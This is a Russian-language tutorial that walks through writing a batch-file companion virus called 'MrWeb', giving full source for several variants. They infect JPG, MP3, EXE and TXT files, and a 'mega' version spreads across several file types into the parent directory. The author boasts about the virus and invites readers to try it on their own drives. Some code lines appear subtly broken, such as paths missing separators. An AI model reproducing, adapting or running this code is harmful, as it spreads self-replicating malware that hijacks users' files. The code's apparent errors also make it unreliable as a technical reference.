@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Как видите, этот вирус является BAT-файлом. Принцип работы такой же как и у BAT-вирусов.
Если вы не поняли как все это работает, то объясняю. Каждая вирусная строка имеет метку "MrWeb", в каких-то строках эта метка не является пассивной, т.е. учавствует в работе вируса, например во-второй строке вируса "if '%1=='In_ goto MrWebin" эта метка содержится в метке "MrWebin", а вот в первой строке эта метка является пассивной и поэтому она заключена в знаки процента. Дак вот, при старте вируса происходит копирование вирусных строк (с меткой) в специальный файл "c:MrWeb.bat", конечно это происходит если данный файл не был раньше создан вирусом. Дальше вирус ищет *.JPG, если находит то заражает их, для этого вирус вызывает файл c:MrWeb.bat и передает ему имя файла, который следует заразить. Принцип заражения: например найден файл 001.JPG, вирус создает вирусный файл 001.JPG.bat, т.е. принцип компаньон-вируса. Юзер захочет посмотреть картинку, щелкнет по нему мышкой и увидит то, что хотел увидеть, т.е. картинку, а тем временем заразятся все другие картинки.
Круто? И это еще не все, кто-то может еще сомневается, что можно заразить любой файл... Так, какие типы файлов будем заражать? Файлы *.mp3 ? Музыку значит. Нет проблем.
Смотрите:
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.mp3) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Только знайте, если вы запускали первый пример вируса, а теперь хотите с этим поприкалываться, то удалите сначала специальный файл "c:MrWeb.bat", а то будете потом говорить, что mp3 ни3я заразить...
Чтобы еще-то заразить... Давайте что-нибудь из классики, например *.EXE. Так...
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.exe) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo %2>>%2.bat%[MrWeb]%
:MrWeben
Учтите, что этот пример от предыдущего отличается не только банальным "*.exe", но и убиранием вызова виндовской программы start.
Что? *.txt заразить? Можно, хотя и не совсем нужно. Но я же говорил, что заражать можно все, значит получайте:
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.txt) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Но это были всё пистики, а теперь тыковки. Внимание. Представляю вам мега-вирус, он заражает *.jpg *.mp3 *.doc *.htm? *.xls. Причем заражает не только в текущем каталоге, но и надкаталоге, поэтому не удивляйтесь, если при его испытании, он расползется по всему винту.
Вот он:
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (..*.jpg ..*.doc ..*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Напоминаю, если вы испытывали предыдущие примеры, то перед испытанием этого удалите файл c:MrWeb.bat.
Если у вас проскакивает мысля о том, чтобы заражать "*.*", т.е. все типы файлов, то скажу, что это возможно, только нужно сделать, чтобы вирус пропускал *.bat, если это не сделать, то получится не вирус, а прикольный троян, можете проверить .